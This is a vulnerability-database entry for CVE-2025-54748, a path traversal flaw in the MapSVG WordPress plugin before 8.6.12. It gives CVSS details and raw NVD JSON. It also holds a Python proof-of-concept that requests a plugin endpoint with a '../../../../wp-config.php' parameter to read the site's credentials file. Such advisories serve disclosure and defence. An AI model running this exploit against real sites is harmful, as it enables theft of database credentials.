Security Vulnerability Report
中文
CVE-2025-54748 CVSS 6.5 MEDIUM

CVE-2025-54748

Published: 2025-12-18 08:15:56
Last Modified: 2026-04-15 00:35:42

Description

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in RomanCode MapSVG mapsvg allows Path Traversal.This issue affects MapSVG: from n/a through < 8.6.12.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

MapSVG < 8.6.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-54748 MapSVG Path Traversal PoC # Target: WordPress site with MapSVG plugin < 8.6.12 import requests import sys TARGET_URL = "http://target-wordpress-site.com" # Target file to read (wp-config.php) FILE_PATH = "../../../../wp-config.php" def exploit_path_traversal(): """ Exploit MapSVG path traversal vulnerability to read arbitrary files """ # MapSVG endpoint that handles file requests endpoint = f"{TARGET_URL}/wp-content/plugins/mapsvg/php/" # Path traversal payload params = { "file": FILE_PATH, "download": "1" } try: response = requests.get(endpoint, params=params, timeout=10) if response.status_code == 200: print(f"[+] Successfully exploited!") print(f"[+] File content:\n{response.text}") return True else: print(f"[-] Exploitation failed. Status code: {response.status_code}") return False except requests.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": print("CVE-2025-54748 MapSVG Path Traversal PoC") exploit_path_traversal()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54748", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:56.187", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in RomanCode MapSVG mapsvg allows Path Traversal.This issue affects MapSVG: from n/a through < 8.6.12."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/mapsvg/vulnerability/wordpress-mapsvg-plugin-8-6-12-arbitrary-file-download-vulnerability?_s_id=cve", "source": "[email protected]"}]}}